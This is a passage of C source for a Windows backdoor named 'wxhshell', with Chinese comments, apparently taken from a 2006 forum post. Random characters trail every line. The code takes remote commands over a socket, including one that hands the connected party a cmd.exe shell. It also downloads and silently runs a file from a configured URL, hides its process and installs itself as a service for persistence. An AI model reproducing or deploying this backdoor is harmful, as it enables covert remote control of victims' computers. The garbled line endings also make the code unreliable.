  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &" t~d}Rg  
  else <l5i%?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [_'A(.  
  } 1X2j%q I&  
  else { UUV5uDe>i  
X 61|:E  
    switch(cmd[0]) { 9S|sTf  
  \ZLi Y  
  // 帮助 :0l+x 0l}  
  case '?': { *2X~NJCt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &|k=mxox\  
    break; .kBkYK8*t  
  } <t"T'\3  
  // 安装 V6][*.i!9  
  case 'i': { [;z\bV<S  
    if(Install()) vdq=F|&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \l:R]:w;ZI  
    else <==uK>pET  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :'DyZy2Fd  
    break; f=l/Fp}4UH  
    } +^Xf:r` G  
  // 卸载 bZYayjxZ5i  
  case 'r': { ZG^<<V$h  
    if(Uninstall()) ] ]U)wg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %b^4XTz  
    else wSjDa.?'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 44ty,M3  
    break; _X4Y1zh  
    } S $p>sItO  
  // 显示 wxhshell 所在路径 eyMn! a  
  case 'p': { a*cWj }u  
    char svExeFile[MAX_PATH]; ;l*%IMB  
    strcpy(svExeFile,"\n\r"); +\T8`iCFB  
      strcat(svExeFile,ExeFile); 3<^Up1CaZ  
        send(wsh,svExeFile,strlen(svExeFile),0); xQFY/Z  
    break; {^dq7!  
    } U4!KO;Jc  
  // 重启 x fb .Z(  
  case 'b': { G+<XYkz*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x []ad"R  
    if(Boot(REBOOT)) @ 8H$   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |c/=9Bb  
    else { z{W C w  
    closesocket(wsh); u4Nh_x8\Nr  
    ExitThread(0); J 8%gC  
    } r/sSkF F  
    break; GI]\  
    } sv=U^xI  
  // 关机 |jiIx5qr  
  case 'd': {  rexf#W)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Xd"'cXw  
    if(Boot(SHUTDOWN)) \}jA1oy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3*h"B$g!  
    else { lJdBUoO  
    closesocket(wsh); (fF8)4l  
    ExitThread(0); X9Ch(nWX  
    } O^MI073Q>t  
    break; =>;&M)+q  
    } ,JZ>)(@)  
  // 获取shell AO7[SHDZ  
  case 's': { #'Y lO -C  
    CmdShell(wsh); ./F:]/Mt  
    closesocket(wsh); =5\*Zh1  
    ExitThread(0); %'iJVFF  
    break; 1#=9DD$4  
  } h <4`|Bg+  
  // 退出 /i,n75/y?  
  case 'x': { Lu}jk W*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %nZ:)J>kz  
    CloseIt(wsh); 9`*ST(0/  
    break; `D77CC]vU  
    } 5pJe`}O4  
  // 离开 !_ W/p`Tc  
  case 'q': { s/7Z.\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *tUOTA 3L  
    closesocket(wsh); 3>h2 W  
    WSACleanup(); M^Sa{S*?  
    exit(1); D}?p>e|<D  
    break; 60~;UBm5O  
        } wtYgHC}X  
  } `q36`Wn  
  } p*b_ "aF1  
9G/!18 X?f  
  // 提示信息 w0~%,S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $2a"Ec!7  
} tDRR3=9pX  
  } ]6e(-v!U  
Jc#D4e1#  
  return; QCb D^  
} &[[r|  
Nm"P8/-09  
// shell模块句柄 NBPP?\1  
int CmdShell(SOCKET sock) !i"zM}  
{ $9`#p/V  
STARTUPINFO si; uHKEt[PS$  
ZeroMemory(&si,sizeof(si)); *a Z1 4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 76!LMNf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :i<*~0r<  
PROCESS_INFORMATION ProcessInfo; zP,r,ok7  
char cmdline[]="cmd"; R;!,(l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !mxH/{+|n  
  return 0; BEOPZ[Q|c  
} hWy@?r.  
+cH>'OXoB  
// 自身启动模式 iAz0 A  
int StartFromService(void) fmixWL7.Zg  
{ jfMkN  
typedef struct qx ki  
{ Cx2# 0$  
  DWORD ExitStatus; tczJk1g}  
  DWORD PebBaseAddress; r-y;"h'  
  DWORD AffinityMask; _Ay^v#a  
  DWORD BasePriority; qSNCBn '  
  ULONG UniqueProcessId; UQDAql  
  ULONG InheritedFromUniqueProcessId; MKfK9>a  
}   PROCESS_BASIC_INFORMATION; pT|s#-}  
G=zNZ  
PROCNTQSIP NtQueryInformationProcess; vclc%ws  
|*c1S -#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >=0]7k;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T_D3WHp  
_Q1p_sdg  
  HANDLE             hProcess; ^4fvV\ne_~  
  PROCESS_BASIC_INFORMATION pbi; +mWf$+w  
@S@VsgQ%3Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 94w)Yln  
  if(NULL == hInst ) return 0; Q$U5[ TZm  
(X "J)x aQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hP)Zm%@0f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rn|]-^ku/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?>B?*IK!  
t"4* ]S  
  if (!NtQueryInformationProcess) return 0; O.+J%],  
Dz0D ^(;V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _8.TPB]no  
  if(!hProcess) return 0; \8xSfe  
BzfR8mD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BaQyn 6B  
E4% -*n  
  CloseHandle(hProcess); 5f7id7SI  
^t})T*hM0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oo :Dt~Ib  
if(hProcess==NULL) return 0; d3c.lD)L9  
or*{P=m+R  
HMODULE hMod; gHPJiiCv  
char procName[255]; @mCe{r*`  
unsigned long cbNeeded; MSmr7%g3D  
.zgh,#=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )7 Mss/2T  
vqN/crJ@  
  CloseHandle(hProcess); DP @1to@  
HF FG4'  
if(strstr(procName,"services")) return 1; // 以服务启动 DT`HS/~fH  
;}SGJ7  
  return 0; // 注册表启动 Ye3o}G9z  
} 84WD R?  
O z6$u  
// 主模块 |N`0G.#  
int StartWxhshell(LPSTR lpCmdLine) dNgA C){w  
{ +bE{g@%@ +  
  SOCKET wsl; %4LoEm=U  
BOOL val=TRUE; KyNu8s k  
  int port=0; K[icVT2v~  
  struct sockaddr_in door; + Tp% *  
lMFo)4&P  
  if(wscfg.ws_autoins) Install(); K? o p3}f?  
|aP`hVm  
port=atoi(lpCmdLine); ;d}>8w&tfy  
Z4i))%or  
if(port<=0) port=wscfg.ws_port; x:Q\pZ  
!\7 M7  
  WSADATA data; ~6;I"0b5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ',R%Q0Q  
 BI?, 3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `o{ Z;-OF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Da 7(jA+  
  door.sin_family = AF_INET; ?XY'<]o E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7K.75%}  
  door.sin_port = htons(port); 7<)H?;~;  
 :f[ w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +%XByY5  
closesocket(wsl); #ELe W3 S}  
return 1; L(yUS)O  
} _\4#I(  
S9!KI)  
  if(listen(wsl,2) == INVALID_SOCKET) { , ~ 1+MZ=  
closesocket(wsl); [ iTP:8  
return 1; l+6c|([  
} )>1}I_1j)  
  Wxhshell(wsl); %"v:x?d$$o  
  WSACleanup(); Ypzmc$Xfu  
8vuTF*{yZ  
return 0; hM]Z T5;<  
u~OlJ1V  
} Bg),Q8\I  
JxinfWk  
// 以NT服务方式启动 i6HRG\9nU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e$s&B!qJ  
{ ^"7- `<J  
DWORD   status = 0; 1*p6UR&  
  DWORD   specificError = 0xfffffff; he~8V.$  
z6U'"T"a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9KX% O-'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `F/R:!v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _b<;n|^  
  serviceStatus.dwWin32ExitCode     = 0; )tBz=hy#  
  serviceStatus.dwServiceSpecificExitCode = 0; = vqJ0!  
  serviceStatus.dwCheckPoint       = 0; nnn\  
  serviceStatus.dwWaitHint       = 0; XB!qPh .  
8;pY-j #  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KWo Ps%G  
  if (hServiceStatusHandle==0) return; We$ n  
/4(HVua  
status = GetLastError(); jv.tg,c_6  
  if (status!=NO_ERROR) 9_wDh0b~p  
{ 5 <k)tF%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K W&muD  
    serviceStatus.dwCheckPoint       = 0; ?<jWEz=  
    serviceStatus.dwWaitHint       = 0; GcN}I=4|  
    serviceStatus.dwWin32ExitCode     = status; ?u#s?$Y?  
    serviceStatus.dwServiceSpecificExitCode = specificError; %P~;>4i,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >N al\  
    return; Q   
  } a0)w/A&  
LT$t%V0?.e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OB9E30  
  serviceStatus.dwCheckPoint       = 0; 3ux7^au  
  serviceStatus.dwWaitHint       = 0; [<,7LG<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $yi:0t8t  
} Ub f5 :  
q`PA~C];  
// 处理NT服务事件,比如:启动、停止 *g*"bi*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m19\H  
{ I )yaR+l  
switch(fdwControl) e 1XKlgl  
{ H0&wn#);6R  
case SERVICE_CONTROL_STOP: 9IXy96]]6  
  serviceStatus.dwWin32ExitCode = 0; (hOD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .aO6Y+Y  
  serviceStatus.dwCheckPoint   = 0; Pqx?0 f)  
  serviceStatus.dwWaitHint     = 0; R"XycXn_$  
  { ! (lF#MG}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m7NWgXJ  
  } &I=o1F2B)  
  return; \(7A7~  
case SERVICE_CONTROL_PAUSE: 7:F0?l*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L/Kb\\f  
  break; YGPb8!  
case SERVICE_CONTROL_CONTINUE: q !9;JrX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .n+ ;&5  
  break; jMBM qQNU  
case SERVICE_CONTROL_INTERROGATE: 3| w$gG;Y  
  break; ;{0alhMZ  
}; I}u\ov_Su  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]e-QNI  
} l8(9?!C  
[Y!HQ9^LEp  
// 标准应用程序主函数 *=B<S/0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W=EcbH9/.)  
{ ,<+:xl   
m4h)Wq  
// 获取操作系统版本 @TW:6v`  
OsIsNt=GetOsVer(); ZzBaYoNy[0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y(`Bc8h  
Oto8?4[n  
  // 从命令行安装 WFc4(Kl  
  if(strpbrk(lpCmdLine,"iI")) Install(); KsTGae;ds  
!21G $ [H  
  // 下载执行文件  1H.;r(c  
if(wscfg.ws_downexe) { >0:3CpO*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /L2ZI1v  
  WinExec(wscfg.ws_filenam,SW_HIDE); N:Q.6_%^  
} |1 qrU(  
TD floDxA  
if(!OsIsNt) { %"c;kvw  
// 如果时win9x,隐藏进程并且设置为注册表启动 .<%q9Jy#  
HideProc(); 0LC]%x+"  
StartWxhshell(lpCmdLine); cM9> V2:P  
} ~X2 # z |  
else x])j]k  
  if(StartFromService()) &FRf-6/  
  // 以服务方式启动 -">Tvi4  
  StartServiceCtrlDispatcher(DispatchTable); c"k nzB vy  
else C$q-WoTM(  
  // 普通方式启动 gO*Gf2AG  
  StartWxhshell(lpCmdLine); fA?Wf[`x  
'HfI~wN  
return 0; `lm'_~=`&  
}
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只看该作者 1 发表于: 2006-10-10
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